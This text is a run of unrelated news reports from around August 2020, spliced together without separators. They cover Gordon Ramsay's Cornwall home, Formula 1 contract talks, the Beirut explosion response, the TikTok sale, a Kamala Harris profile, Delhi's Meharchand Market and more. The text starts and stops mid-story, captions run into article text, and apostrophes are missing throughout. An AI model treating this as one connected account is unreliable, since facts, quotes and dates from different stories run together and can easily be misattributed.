Most of their neighbours are so welcoming and they love being part of the community. 'They've been following the government advice along with the rest of the country since they arrived on March 20th and the campaign against them is hurtful and unnecessary at a time when we should all be coming together and supporting each other.' Backlash: The TV personality angered locals after relocating his family to their second home during the outbreak as the Government urged Britons not to travel from hotspots to the countryside Chat: The couple looked relaxed and happy as they relaxed in Rock, Cornwall In July it was claimed Gordon is set to endure months of loud construction work on the doorstep of his luxury Cornish holiday property, as neighbours revamp their homes. More than half a dozen of the chef's neighbours are said to have filed applications to extend their homes within yards of his 4.4million property. According to The Sun, Gordon who has fallen afoul of neighbours in the past with his own construction work will live around residents extending and overhauling their properties, while one guest house will reportedly be completely rebuilt. In addition to the construction work, the Hell's Kitchen star is finally set for new neighbours as the 1.85 million home alongside his has received an offer. The lavish property named Tregye was put on the market in April 2019, and is in the heart of the seaside village of Rock in Cornwall and boasts four bedrooms. Liberty Media is pressing ahead with its August 12 deadline for the finalisation of the 2021 Concorde Agreement. While Cyril Abiteboul says "95 percent of the teams are agreed" about the terms of the next binding commercial deal, Mercedes boss Toto Wolff says he is not ready to sign. He alleges Mercedes is the "biggest victim" in terms of how the prize money will be divvied up. "There are a bunch of open topics for us that are legal, commercial and sporting and in our point of view I don't feel ready to sign," said Wolff. However, Liberty Media set an August 12 deadline - Wednesday - some time ago and a source told Auto Motor und Sport that the F1 owner is pushing ahead. "We have discussed all the issues for long enough and will not allow any further delay," the source said. Wolff, though, says it is up to Liberty to break the deadlock. "If you are willing to sit at a table, address the critical topics, discuss them and come to a compromise outcome, then I think it can go pretty fast," he said. "But I haven't seen that approach." (GMM) As always, the lineup is anchored by the original Bourbon County Stout, which remains an approximation of the beer that launched not only the Bourbon County brand in the 1990s, but also the practice of aging stout in bourbon barrels (which has since been adopted by breweries around the globe). This years version is aged one year in four- and five-year-old barrels from distilleries that include Buffalo Trace, Heaven Hill and Wild Turkey. Former President Pranab Mukherjee continues to remain critical and is on ventilator support, the Armys Research and Referral (R&R) hospital said on Tuesday, a day after he underwent a brain surgery. The 84-year-old was admitted to the military hospital around noon on Monday, and had also tested positive for Covid-19 prior to the surgery. Former President of India Shri Pranab Mukherjee was admitted to Army Hospital (R&R) in Delhi Cantonment at 1207 hours on August 10, 2020 in a critical condition. Workup at the hospital revealed a large brain clot for which he underwent emergency life saving surgery. Post surgery he continues to remain critical on ventilatory support, a medical bulletin issued by the Hospital said. A multidisciplinary team of doctors is constantly monitoring the health of the former president. For decades, the derelict Hedrick Building had been a taunting reminder of how hard it can be to revitalize a citys downtown when some owners are unwilling or unable to keep up their properties. Ironically, the blighted, 10-story tower at 601 N. St. Marys St. once had been a gathering place for San Antonios real estate pros. At the time, it was simply called the Real Estate Building. The citys code compliance division sought to have it demolished in 2008 after fielding complaints about its broken windows and graffiti-covered exterior, but officials later withdrew the request. On ExpressNews.com: Skyline: Housing, commercial and park space planned for San Antonio golf course Now, a mere 12 years later, the former Hedrick Building is being remade and renamed. Its now called the Flats on St. Marys. Bob Owen /San Antonio Express-News The building is being redeveloped as a mixed-use project, part of a development surge in recent years thats drawing more residents to the downtown area. San Antonio developer Craig Glendenning and real estate broker Uri Villarreal are spearheading the remake, which will include 36 apartments. Rents will range from roughly $1,200 to $2,800, depending on the size of the apartments, which will include one- to three-bedroom units, Glendenning said. Residents could start moving in this winter. He said hes also in discussions with businesses interested in taking space on the ground floor for a restaurant and a speakeasy bar in the basement. A title company is leasing space on the top floor. A small hotel could also be in the buildings future as well. Bob Owen /San Antonio Express-News The partners initially wanted to convert the building to apartments. The project was set to receive about $1 million worth of city incentives. But they later decided to refashion it as a hotel after short-term rental company Stay Alfred made us an offer we couldnt refuse, Glendenning said. On ExpressNews.com: Waiver request for River Road townhome project fails again Then the Spokane, Wash.-based company shut down this spring as the coronavirus pandemic devastated its business. Glendenning, who is also involved in transforming the abandoned Tundra Village development on the South Side into a townhome community, went back to the apartments plan. But he said hes keeping the option of an extended-stay hotel open other operators have expressed interest. Plans also involve the adjacent Voss Building, which could house a restaurant and a rooftop area for entertaining. A strip of land between the structures will be turned into a courtyard with outdoor vendors. Bob Owen /San Antonio Express-News Renovations at the former Hedrick Building started in 2017. The work has involved replacing windows and removing metal cladding attached in the 60s to expose the structures original brick exterior with terra cotta detailing. Its also meant removing asbestos and feces. Every floor had a large colony of pigeons, Glendenning said. You can imagine it was just horrible, toxic. Theyre leasing the land from property owner B.P. Agrawal. Glendenning said he applied for franchise tax credits and historic tax credits for the project, which will cost about $12 million. Without those (credits) ... you couldnt afford to do it, he said. SA Inc.: Get the best of business news sent directly to your inbox The building opened with fanfare in 1928, according to San Antonio Express-News archives. It was constructed of reinforced concrete, brick, stone and terra cotta, and designed by Adams and Adams, Architects. The firm was involved in the development of Laurel Heights, an early suburb thats now part of Monte Vista. Bob Owen /San Antonio Express-News Fort Worth architect and engineer Wyatt Hedrick bought the building in 1958 and it became known as the Hedrick. He remodeled it in 1963, adding multi-colored exterior sheathing, a canopy, air conditioning and other features, and received an award for modernizing it. Occupancy started falling in the 80s and the building emptied out. The following decade, the Resolution Trust Corp. liquidated the assets of the Gill Savings Association and sold the structure to Agrawal. The current renovations are part of a development spree thats helped draw more people to the downtown area, thanks in part to city incentives, which have also been criticized for subsidizing housing not affordable for many San Antonians. Apartment complexes, hotels and offices are under construction, and the Frost Tower, which opened last year, was the first new office tower to go up in the urban core since the Weston Centre in 1989. Bob Owen /San Antonio Express-News The buildings Glendenning is working on are a short walk from the Tobin Center for the Performing Arts, the River Walk and other attractions. Im real bullish on downtown, he said. Its beautiful. madison.iszler@express-news.net U.S. President Donald Trump said he would invite Russian leader Vladimir Putin to the G7 summit in the United States. "I certainly would invite him to the meeting. I think hes an important factor," Trump told a White House briefing on Monday answering a question. Trump also told reporters he was considering plans of holding the G7 summit after the November election. "Im much more inclined to do it sometime after the election." According to Trump, the U.S. has not yet formally invited leaders. "We havent sent out invitations. Were talking to them," he said, noting that there were plans on inviting countries that arent formal members of the G7. The summit, which was due to be held at Camp David in June, was later postponed until September. Trump earlier announced plans to invite Russia, Australia, India and South Korea to this meeting, TASS reported. Scott Morrison has warned Australians that coronavirus restrictions will likely stay in place into next year. New South Wales and Victoria had agreed to largely reopen their economies, including borders, by late July. But the killer second wave that has gripped Victoria all but destroyed those plans, and subsequently led to Queensland also closing its borders indefinitely. The prime minister said his government would tackle reopening borders 'one step at a time'. 'If circumstances change and certainly if they chance in the way we hoped they would, well, I would welcome it by Christmas, if it were possible,' he said. Scott Morrison said it's 'unlikely' Australia will be able to 'move back to a restriction-free society' The prime minister said his government would tackle reopening borders 'one step at a time' 'It's unlikely that we were able to move back to a restriction-free society. I doubt that is going to happen. I doubt the medical position will enable that.' Mr Morrison's cautious outlook came as the Northern Territory announced beefed-up border restrictions to lockout travellers from coronavirus hotspots. Chief Minister Michael Gunner says the ban on Victoria and Greater Sydney could be in place until the end of 2021, driving a stake into the Top End's tourist industry. 'We will have hard border controls in place for at least the next 18 months,' he told the ABC on Tuesday. Mr Gunner said extra police and health officials are being recruited to help monitor arrivals into the NT. Western Australian Premier Mark McGowan also announced WA's borders could remain shut until mid-next year. Mr Morrison on Monday launched a savage attack on 'amoral and hideous' suggestions elderly Australians should be sacrificed to save the economy. He expressed his disgust at suggestions older people should have been 'offered up' to the virus in order to reduce restrictions. 'That is just a hideous thought,' he told reporters in Canberra. 'An absolutely amoral, hideous thought. One I have had no countenance with from the very first time it was suggested.' Victoria recorded 331 new cases and 19 more deaths on Tuesday. NSW recorded 22 new COVID-19 cases on Tuesday - four are in hotel quarantine, another two are from Victoria and eight are from the Tangara School for Girls cluster in Cherrybrook. Adria Arjona, 28, has been cast as one of the lead characters in Disney+'s forthcoming Star Wars series based on Rebel agent Cassian Andor from the 2016 film Rogue one. Though Arjona's specific role remains unknown, she will star alongside Diego Luna, 40, who is set to reprise his role as Andor, as reported by Deadline on Monday. The currently untitled series, which was announced last year, will take place 'in the early days of the Rebellion against the Empire,' prior to the events of Rogue One. Landed: Adria Arjona, 28, has been cast as one of the lead characters in Disney+'s forthcoming Star Wars series; Arjona pictured in February Rogue One: A Star Wars Story co-writer Tony Gilroy, who is also serving as series show-runner, will craft the series' pilot episode 'in addition to directing multiple episodes.' Denise Gough, Genevieve O'Reilly, Stellan Skarsgard and Kyle Soller are also slated to be a part of the highly anticipated Star Wars project. When plans for the series were revealed last year, it was vaguely described as a 'spy thriller.' Luna's reprisal, as well as Alan Tudyk's reprisal as K-2SO, Andor's droid sidekick, were also announced at the time. Reprisal: Though Arjona's specific role remains unknown, she will star alongside Diego Luna, 40, who is set to reprise his role as Andor for the currently untitled series, as reported by Deadline on Monday; Luna pictured in February The untitled Rogue One spinoff is just one of many Star Wars related series' in the works for Disney+. Actor Ewan McGregor will be reprising his role as Obi Wan-Kenobi in a series focused on the young Jedi Master. There is no release date at this time. The influx of Star Wars content stems from the success of Disney+'s very first Star Wars spinoff series The Mandalorian, which premiered on the streaming platform last year. Rogue One: The impending series will be based on Rebel agent Cassian Andor from the 2016 film Rogue one Obi Wan-Kenobi: Actor Ewan McGregor will be reprising his role as Obi Wan-Kenobi in a series focused on the young Jedi Master; McGregor as Obi Wan-Kenobi in Star Wars Episode I - The Phantom Menace in 1999 A second season of The Mandalorian is currently underway. Arjona first broke into the Hollywood scene with her role in the 2018 sci-fi film Pacific Rim Uprising, starring Scott Eastwood. She will be seen in the impending Marvel Universe film Morbius, which features Academy Award winner Jared Leto as the vampiric biochemist. It is set to hit theaters in 2021. STATEN ISLAND, N.Y. -- A broad-daylight shooting in Mariners Harbor Monday afternoon left an 18-year-old man injured, police said. Police said the victim was shot once in the leg by an unknown perpetrator who fled the scene following the incident at around 3:33 p.m. on the 300 block of Grandview Avenue. The 18-year-old was transported to Richmond University Medical Center in West Brighton and was expected to survive, according to an NYPD spokeswoman. The NYPD cordoned off Grandview Avenue between Roxbury and Brabant Streets during the response, and officers were seen entering and exiting a residential home across the street from the Mariners Harbor Houses just after 4 p.m. Ballistics were recovered by responding officers, the spokeswoman said. The NYPD responds to a shooting on the 300 block of Grandview Avenue Monday afternoon. (Staten Island Advance/Joseph Ostapiuk) NYPD CompStat data shows that shootings are up 150% on Staten Island, year to date as of Aug. 2, rising from 10 incidents in 2019 to 25 incidents this year. Citywide, shooting incidents are up 76.2% during the same span, NYPD data shows. While opposing views have emerged on whats behind the citywide spike, the spate of gunplay has left some North Shore residents wondering when the next one is going to be. In late July, a span of five shootings in five days left three men dead and two others wounded, the Advance/SILive.com reported. This is a breaking news story. More information will be posted as it becomes available. The trial of ousted Sudans President Omar al-Bashir was postponed on August 7 at the request of his defence, a prosecution lawyer reportedly said. The trial of Bashir along with 27 other co-accused, over the military coup that brought him to power at least three decades ago, was opened with a short hearing in July. The second hearing was set for August 11 but the defence lawyers have requested a delay for three of the defendants including the ex-Sudanese President and two former senior officials of the National Congress Party, that was once in power but is now inoperative. One of the prosecution lawyers, Moaz Hadra told an international media agency that the lawyers of at least three defendants filed a petition at the Court of Appeal to release three defendants on bail, after the court had rejected the request at trials first hearing on July 21. Hadra also added that the Court of Appeal must rule and then set a new date for the trial. Bashir and other officials accused along with him could face the death penalty if convicted over 1989 Islamist-backed overthrow of the government that was elected democratically of Sudan Prime Minister Sadek al-Mahadi. According to reports, this is also the first time in the modern history of the Arab world that the mastermind of the entire coup is tried for plotting a putsch. However, the man dubbed the true brain behind it, Hassan Turabi of the National Islamic Front, had died in 2016. The ex-Sudanese President Bashir had retained power for at least 30 years before being overthrown on April 11, 2019, in the wake of several months of unforeseen, youth-organised protests. The trial also comes in the backdrop of Sudans joint civilian-military transitional government is introducing a series of changes and has even resumed the peace negotiations with the rebel groups in the country. Read - U.N. Says Tens Of Thousands Affected By Floods In Sudan Read - Heavy Rains And Floods Destroy Houses, Collapse Dam In Sudan Mass grave likely to be linked to 1990 coup The delaying of the second hearing of the trial came after the public prosecutor reportedly said in July-end that Sudanese authorities discovered a mass grave which is believed to contain the bodies of at least 28 army officers shot in a failed coup against repressive former Sudans President Omar al-Bashir in 1990. It was also the second mass grave uncovered under Bashirs era in as many months. The transitional government after Bashir's overthrowing is jointly led by civilians as well as army generals and is seeking a path toward the democratic elections. The current administration is also attempting to hold Bashirs government accountable for the atrocities committed by them during their leadership of three decades. Read - UN Says Libyan Authorities Shot Dead Two Sudanese Migrants Read - Ethiopia, Egypt And Sudan Agree To Resume Dialogues Over Disputed Nile Dam' Image: AP (With inputs from agencies) A US social media giant is reportedly competing with software giant Microsoft in an effortalbeit one considered a long shotto acquire another social media giant, TikTok. Twitter, which has recently clashed with US President Donald Trump over some of his tweets, is in talks to buy the wildly popular video-sharing app that Trump has ordered to be sold because of its Chinese ownership, The Wall Street Journal reported. US Secretary of State Mike Pompeo has claimed that TikTok could send user data on its US user base, made up mostly of young people, to China's government, an allegation that TikTok has strenuously denied. TikTok has said that it stores all US user data in the United States and does not share it with the Chinese government. In a report on Friday, The New York Times said that the CIA had found no evidence that TikTok shared user data with the Chinese government. Senator Mark Warner, Democrat of Virginia, said on Thursday at the virtual Aspen Security Forum that "on the hierarchy of problems we are talking about, an app that allows you to make funny videos does not really rank". TikTok plans to sue the Trump administration, challenging the president's executive order banning the service, according to a report by National Public Radio. The federal lawsuit will be filed as early as Tuesday, according to a person involved in the matter but not authorized to speak for the company, NPR reported. It will be filed in the US District Court for the Southern District of California, where TikTok's US operations are based, the person said. "It's based on pure speculation and conjecture," the source said about the administration's ban, NPR reported. "The order has no findings of fact, just reiterates rhetoric about China that has been kicking around." The Journal also reported on Friday that a small US company with ties to US defense and intelligence has embedded its software in mobile apps, allowing it to track the movements of hundreds of millions of mobile phones worldwide. Anomaly Six LLC, based in Virginia and founded by two US military veterans, said in marketing material that it can gather location data from more than 500 mobile applications. Microsoft, which announced on Aug 2 that it was pursuing a deal with TikTok for its operations in the US, Canada, Australia and New Zealand, said it was told by Trump to make a deal by Sept 15. Trump also announced last week that the US Treasury should receive a percentage of the proceeds from any sale, which China has denounced as a "mafia" deal. On Thursday, the White House issued an executive order that would bar people in the US from transactions with TikTok's owner, Beijing-based ByteDance, and with the messaging service WeChat and its owner, China's Tencent Holdings. The order is scheduled to take effect 45 days from Aug 6. While a potential TikTok ban is proving unpopular with many of its users, a WeChat ban likely would have far more impact. WeChat has more than 3 million users in the US, mainly Chinese immigrants of all ages who use it to communicate with each other and with people back home in China, where its billion users there make the app "as powerful as Twitter, WhatsApp, and Facebook combined in the US". Far more impact Trump likely hasn't considered the effect a WeChat ban could have on his Chinese supporters, according to an opinion piece published on Saturday on influential tech website Wired. "We Chinese supporters found one another in 2016 mainly on WeChat," said Jack Jia, a jewelry designer in New York and the founder and president of Chinese American Alliance for Trump, an organization that mainly operates on WeChat. "I won't vote for him again if he bans WeChat," said Cheng Zeng, who runs an agency serving international students. "If he bans WeChat, it'd be like he makes us Chinese Americans blind and dumb." It isn't clear what TikTok's US operations are worth, but estimates run into the tens of billions of dollars. That has raised questions over how Twitter would finance such a dealTwitter's market capitalization is about $29 billion, while Microsoft's exceeds $1.6 trillion. "Twitter will have a hard time putting together enough financing to acquire even the US operations of TikTok. It doesn't have enough borrowing capacity," said Erik Gordon, a business professor at the University of Michigan. "If it (Twitter) tries to put together an investor group, the terms will be tough. Twitter's own shareholders might prefer that management focus on its existing business," he added. Twitter has far less financial might than other major tech players, though it does have high-powered investors such as private-equity firm Silver Lake, which is interested in helping fund a potential deal, a source told Reuters. Twitter, because of its relatively smaller size, also has privately made a case that its bid would face less regulatory scrutiny than Microsoft's and will not face pressure from China because it is not active there, a source said. Acquiring TikTok also would be a turnabout by Twitter on videosharing apps. In 2016, the company closed Vine, an app that let users share short videos, as part of a cost-cutting effort. With nearly 85 million followers, Trump is Twitter's most prominent user but he has lately criticized the San Francisco-based company for labeling or restricting some of his posts that it says violate its policies. Trump and conservative politicians have regularly argued that Silicon Valley is biased against them. Twitter also recently started labeling Chinese media "state-affiliated", a move seen as influenced by the Trump administration's campaign to ratchet up pressure on China's government. And in a business decision that demonstrates the appeal of TikTok, Facebook's Instagram is launching its own versionInstagram Reels. "Instagram has put a lot of effort into developing Reels and making it attractive to TikTok users and the creators who work on the app, but I'm not sure it can replace TikTok," said Seattle-area eMarketer analyst Debra Aho Williamson. "Even if TikTok were to be banned in the US, which I think is unlikely to happen, users would find a way to keep using it," she said. "They are incredibly loyal and protective of TikTok." Reuters and AP contributed to this story. Blast-damaged grain silos stand over the ruined port of Beirut, devastated by an explosion on 4 August. UNHCR/Houssam Hariri UNHCR, the UN Refugee Agency, is saddened to report that the list of more than 200 fatalities and missing in the deadly and destructive explosion which rocked Beirut on 4 August also includes at least 34 reported refugee victims so far. Our teams on the ground are still verifying the reports and we fear that the death toll among Beiruts refugee population of some 200,000 could rise further. Seven refugees are still missing. Another 124 refugees have been hurt in the blast, 20 of them suffering serious injuries. We continue to work with the rescue teams and other humanitarian partners to identify the victims and are extending support to the families who have lost their loved ones. This includes counseling, emergency cash and help with burial arrangements. This explosion affected everyone, regardless of nationality or status. Our immediate humanitarian response to the tragic blast covers the entire community including Lebanese, refugees and migrant workers. It focuses on the most vulnerable in the community and on two major areas shelter and protection. As part of the inter-agency humanitarian appeal, UNHCR is mobilizing US$12 million for its emergency response to the hardest-hit and most vulnerable households in Beirut. This package includes US$9.6 million for shelter interventions and US$2.44 million for protection activities for the next three months. Together with other humanitarian partners, we are working closely with the people of Beirut and the relevant departments to assess the damages and identify the best and most meaningful ways to help. UNHCRs aid stockpile in the country has not been affected and it includes shelter kits, blankets, plastic sheeting, mattresses, rub halls and several other critical items that have been made available to the Lebanese Red Cross and other partners on the ground. An initial door-to-door assessment is underway in the most heavily impacted neighbourhoods and individual distributions of aid to identified people began already on Sunday, 9 August. First estimates indicate that up to 10,000 vulnerable households are likely to have been severely affected by the blast and are in need of urgent support. Our priority is to identify and get aid to those in need of 'emergency weatherproofing.' This will help to secure entrances and windows, and provide some level of protection from the elements, safety and security, and restore peoples privacy and dignity. Affected people displaced outside the Beirut area will also be targeted with assistance. Multi-purpose cash remains the most effective option to provide immediate relief and to support rapid repair and reconstruction needs. It will also help with getting food and covering basic needs and health costs. In the medium-term, minor repair, rehabilitation and 'common area' improvements will follow. Meanwhile, our protection efforts build on our existing community engagement and mobilization, including referrals, psychological first aid, community messaging, and supporting community solidarity initiatives. People have really been at the forefront of the response and we will support their efforts directly. We will further expand our work with civil society to identify new community structures and initiatives, to enhance communication, help identification of vulnerable families or individuals, enable referrals and response. Mental Health and Psychological Support and Psychological First Aid (PFA)are critical areas of our interventions in the current emergency response as many suffered trauma and loss of loved ones. UNHCR-managed community groups and outreach volunteers, and partners are already trained on PFA and will be reinforced to provide psychological support and link people to community networks. UNHCR stresses the need for steadfast and timely international support for people of Beirut and Lebanon who have been generous hosts to refugees for years, through the challenging times of economic hardship and COVID-19 pandemic. For more information on this topic, please contact: Sameer Sharma, who was a part of popular shows like Kahaani Ghar Ghar Ki, Jyoti and Kyuki Saas Bhi Kabhi Bahu Thi, and played the role of Shaurya Maheshwari in Yeh Rishtey Hain Pyaar Ke, allegedly died by suicide. Apparently, he was found hanging from the kitchen ceiling at his home on August 5, 2020. The actor's sudden demise has deeply affected his friends. Recently, the actor's close friend, on condition of anonymity, told BT that he was suffering from mood disorder and was visiting a psychiatrist. The late actor's friend also believed that he was going through some financial issues as he hadn't resumed work post lockdown. Sameer's friend was quoted by BT as saying, "He was suffering from a mood disorder and had been visiting a psychiatrist. He was a fun-loving guy and whenever we friends would jam together, we would have a good time. But, there were also times when he would completely cut off from all of us. The past few months may have been stressful for him." When asked if he was facing a financial crunch, the late actor's friend said, "Sameer hadn't resumed shooting post the lockdown, so yes, he may have been going through some financial issues." Sameer's last rites were performed by his sister and her husband, who flew down from Bengaluru on Friday evening. An official from Malad Police Station revealed to the leading daily, that their preliminary investigation revealed that Sameer was suffering from mental health issues. They are currently waiting for the final post-mortem report. Meanwhile, a couple of days ago, Roadies fame Raghu Ram, who shared a close bond with Sameer, shared an emotional post on Twitter. He wrote, "Goodbye, my sweet, troubled friend. Thank you for being there for me when I needed it ... I wish I could have been there for you too. I will always remember you with love. And with regret. I really hope your pain is finally at an end." Also Read: Sameer Sharma Death: Samir Soni Says He Kept Crying The Whole Day; Reveals Sameer Was Crazy Genius Also Read: Sameer Sharma's Death: Shrenu Parikh Calls Him A Gem Of A Person; Geetanjali Says She's Badly Shaken Kamala Harris is now considered to be one of, if not the frontrunners to sit on Biden's ticket: Getty Kamala Harris has made her political career out of being the first. When she was just 40 years old, Ms Harris who started out as a prosecutor in Alameda County, California was elected as the district attorney for San Francisco, making her the first woman and first person of colour to hold that position. She then became California's attorney general in 2011, again being the first woman and the first person of colour to hold the position. Upon winning her US Senate seat in 2017, she became the second black woman and first South Asian woman to serve as a congressional senator. Now Ms Harris, 55, is first woman of colour to run as vice president on a major political party's presidential ticket. If she and former Vice President Joe Biden, who is running against Donald Trump for the presidency, were to win come November, Ms Harris would become the first woman and first person of colour to hold the position of vice president. The California senator and former state attorney general has been a rising star within the Democratic Party, with her presidential campaign run for the 2020 election giving her an added boost to become a household name in American politics. Born in Oakland, California, in 1964, Ms Harris, who identifies as black, was the child of academics. Her mother, Shyamala Gopalan, a breast cancer researcher, emigrated from India in 1960 to pursue a doctorate in endocrinology at the University of California, Berkeley. While in school, Ms Harris' mother met Donald Harris, a Jamaican-born graduate student who emigrated from his country in 1961 to pursue economics at the university. The couple married while they were still in graduate school and had their first daughter, Kamala, in 1964. Ms Harris' sister, Maya, came two years later. A majority of Ms Harris' life was spent in California, with Berkeley and Oakland as her home cities until the age of 12. As Ms Harris notably mentioned during the a Democratic Party presidential debate, she entered kindergarten during the second year of Berkeley's school desegregation program. Two years prior to the enactment of the programme, Thousand Oaks Elementary, where Ms Harris was bussed to each day, was 95 per cent white. Story continues "There was a little girl in California who was part of the second class to integrate her public schools, and she was bused to school every day. And that little girl was me," Ms Harris said during the debate while targeting Mr Biden for his role in the Senate to oppose mandatory busing in the 1970s. This was Ms Harris and Mr Biden's most contentious moment during the presidential campaign. She later withdrew her candidacy for the 2020 Democratic nomination in December 2019, placing her support behind Mr Biden on the public stage during a Michigan rally in March. At the age of seven, Ms Harris' parents divorced and she and her sister would split their weekends living with their father in Palo Alto, California. He would later become a Stanford University Emeritus Professor of Economics. Besides living in California, Ms Harris also lived a portion of her life in college towns in the Midwest and moved to Montreal, Canada, with her mother graduating from high school in Westmount, Quebec, in 1981. "A very vivid memory of my childhood was the Mayflower truck," she told the New Yorker in a 2019 profile. "We moved a lot." Her upbringing was described as "matriarchal" in her 2019 memoir The Truths We Hold. "Shyamala and the girls," Ms Harris wrote, devoting pages of her memoir to her mother. "My mother cooked like a scientist. She had a giant Chinese-style cleaver that she chopped with, and a cupboard full of spices. I loved that okra could be soul food or Indian food, depending on what spices you chose." The vice president candidate has since followed in the footsteps of her mother, who died of colon cancer in 2009, by discovering her own passion for cooking. Ms Harris attended Howard University, a historically black college, in Washington DC, double majoring in political science and economics, and got her first dose of the political sphere by interning as a mailroom clerk for California Senator Alan Cranston. Law school brought Ms Harris back to her home state as she earned her Juris Doctor from the University of California, Hastings College of the Law in San Francisco. Her career as a California district attorney started in 1990 when she was hired as deputy district attorney for Alameda County. While gaining experience as prosecutor, Ms Harris connected herself with other political allies, including now-California Governor Gavin Newsom, who was looked at as her political equivalent and "sibling" in the state's politics. Prior to the 2016 election, she and Mr Newsom worried they would end up competing against each other in the California gubernatorial election, as it would've been the ideal next step in both of their careers. But then a US Senate seat opened, allowing Ms Harris to pivot towards the political national stage. She also aligned herself with Willie Brown, who served as mayor in San Francisco from 1996 to 2004. Mr Brown appointed Ms Harris to positions on the California's Unemployment Insurance Appeals Board and the California Medical Assistance Commission. The pair also briefly dated 20 years ago at the start of her political career. Other allies Ms Harris picked up while attorney general included the former vice president's late son Beau Biden, who served as Delaware's attorney general, and President Barack Obama, who once called her "the best looking attorney general" in the country. He later called Ms Harris to apologise for the comment after critics said it diminished her professional accomplishments. Ms Harris has faced backlash during her years as a prosecutor after describing herself as a "progressive". Critics have claimed Ms Harris veered more towards the "tough on crime" era of the Democratic party, which was popular in the 1990s into the 2000s, instead of being progressive. When looking at her background as a prosecutor, Ms Harris contradicted herself on multiple counts. She pushed to help people find jobs instead of putting them back in prison, but then also fought to keep people in prison even after they were proven innocent. Ms Harris also refused to pursue the death penalty of a man convicted of killing a police officer but would later defend the California death penalty in court. These contradictions could be due to Ms Harris' background. She was raised by parents who championed civil rights causes but had to balance that with her role as a criminal prosecutor. Being one of the few black women in a field dominated by white males one study found only 1 per cent of elected prosecutors in the US were minority women put Ms Harris under harsher public scrutiny. But she also implemented popular policies during her time, like requiring body cameras at the California Department of Justice and creating OpenJustice a database that allowed public access to criminal statistics obtained by the state. Ahead of her run in Congress, Ms Harris married California attorney Douglas Emhoff in 2014. The couple have no children together but she is the stepmother to Mr Emhoff's two children from a previous marriage. As her Twitter bio states, the children refer to Ms Harris as "Momala". Ms Harris made a name for herself by being a tough questioner during Senate Judiciary Committee hearings once on Capitol Hill as a junior senator. She pressed now-Supreme Court Justice Brett Kavanaugh on his unwillingness to ask the White House to conduct an FBI investigation into the sexual abuse allegations against him. Another area Ms Harris grilled the judge on was whether he sought counsel from a law office connected to Donald Trump. These moments went viral on social media, earning Ms Harris accolades from supporters invested in the hearings. Amid the unrest across the country regarding police brutality, Ms Harris became a lead sponsor of a joint Senate-House Democratic police reform bill, which would ban chokeholds and no-knock drug warrants for federal drug cases among other initiatives. With all eyes on her during the vice president race, she also vocally slammed Republicans for their version of a police reform bill, stating it was "empty". Ms Harris found herself at the top of Mr Biden's vice president considerations given her background and similar politics she shares with the presumed Democratic candidate their political views both veer just left of centre. Although the pair had multiple public spats during the Democratic debates one of which involved Mr Biden mentioning he was a "public defender ... not a prosecutor", a clear shot at Ms Harris' record as a city and state attorney general the Biden campaign has pushed to bury any animosity. When addressing rumours of contention, Mr Biden said in an interview he did not hold "grudges" against Ms Harris for what was said during the presidential campaign. "I don't hold grudges. I've made it really clear that I don't hold grudges. I think it was a debate, it was as simple as that," he said. Her background serving in two statewide offices attorney general and US senator arguably made her the most accomplished out of any of the other female candidates up for consideration. "You know my mother used to tell me ... she'd say 'Kamala you may be the first to do many things, but make sure you are not the last.' And that's part of what breaking those barriers, that's why breaking those barriers is worth it," Ms Harris said when speaking at Spelman College. "As much as anything else, it is also to create that path for those who will come after us." Read more Willie Brown urges Kamala Harris to decline offer to be Joe Bidens VP Trump claims some men 'insulted' by Biden choosing female VP Biden VP decision imminent Trump advisor says Biden 'would be the favourite' in a debate Russia trying to undermine Biden campaign, intelligence official says New election map predicts resounding victory for Biden against Trump Delhis iconic Meharchand Market in Lodhi Colony -- once home to designer boutiques, restaurants and jewellery shops, and often touted as the next Khan Market -- will get a new lease of life as the South Delhi Municipal Corporation (SDMC) on Tuesday cleared a proposal to redevelop the popular shopping hub that has been nearly lying shut since the 2018 sealing drive. The market -- originally set up to settle refugees from Pakistan after Partition and named after Mehr Chand Khanna, who was Union minister of rehabilitation in the 1950s -- will be redeveloped according to the Master Plan of Delhi 2021, with shops getting a floor area ratio (FAR ) of 350 compared to the present FAR of 150. Around 80% of shops of the market were shut during the 2018 sealing drive, one of the biggest in Delhi, for violation of building norms. According to SDMC officials, the existing shops will be demolished and reconstructed by the traders themselves in accordance with sanctioned standard building plans. A senior official of SDMCs town planning department said the market will have a uniform look similar to Connaught Place with elements such as a public corridor, uniform billboards, etc. The corporation is also likely to make it a pedestrian-only market. It will be the traders responsibility to redevelop their shops as per a standard plan prepared by the corporations architecture department. The plan provides norms for construction of the outer facade, display windows, columns, advertising boards, billboard, etc. This will provide a uniform look to the market. The front facade of all shops in the redeveloped market would be the same. The shops will follow a definite colour code pattern as suggested by the standard plan, the official said requesting anonymity. Raj Dutt Gahlot, chairman standing committee, said all the existing structures will be demolished and newly constructed. No time-frame has been set for the work to begin. Under the approved scheme, 90% ground coverage with 350 FAR has been accepted. The market may be declared as a pedestrian shopping street due to non-availability of parking facilities in the premises, Gahlot said. The market saw a major transformation in the last decade, becoming a popular destination for designer boutiques, restaurants, jewellery shops, salons and cafes. But in January 2018, as many as 135 out of 152 shops were sealed by the Supreme Court-appointed monitoring committee for violating building norms and constructing beyond the permitted FAR of 150. According to traders, in 1948, refugees from West Pakistan were given temporary wooden shops in the market. Later in 1963, they were allotted permanent concrete shops. Municipal officials said these were single-storeyed shops with a verandah but over a period of time, many traders added extra floors. Officials said local shopping complexes (LSCs) in Delhi such as Defence Colony, Green Park and Hauz Khas got some relief on June 21, 2018, when the Central government notified changes in MPD-2021 but confusion remained over Meharchand Market. According to another official of SDMCs town planning department, in November 2019, the Delhi Development Authority (DDA) clarified that the MPD-2021 amendments can be applied to Meharchand Market, and so a FAR of 350 (as opposed to 150) can be provided to the shop owners. The decision to redevelop the market was taken after discussing the plan with traders. Before starting redevelopment work, they will have to deposit a fine of up to 1 lakh with the monitoring committee for the illegal structures and raze them. We will start passing building plans for the market and traders will have to approach the SDMCs building department to approve their building maps. Apart from collecting conversion charges, SDMC will get 10 crore from the owners for approving the layout plan, the official said. The official quoted above said the development charges, augmentation fees and other charges will be recovered from plot owners by the engineering department. Ashok Sakhuja, president of the Meharchand Market Traders Association, said it was a welcome move and would benefit traders a lot. Our market is almost dead since January 2018. We are ready to do anything to revive our market. With such a move, our shops will be de-sealed and we will be able to reconstruct them as per the standard plan. The market will be pedestrian-friendly and wear a uniform look, he said. Indrajeet Singh, who owns a tent house in the market, said traders survived the sealing as some had alternative businesses and others relied on savings. At present our priority to bring back the market to life again so that our business can pick up. We will see if any problem arises out of the no-parking move, Singh said. With our Zebra Certified Solution Partner designation, Blue Horseshoe is actively co-developing solutions that streamline supply chain processes with 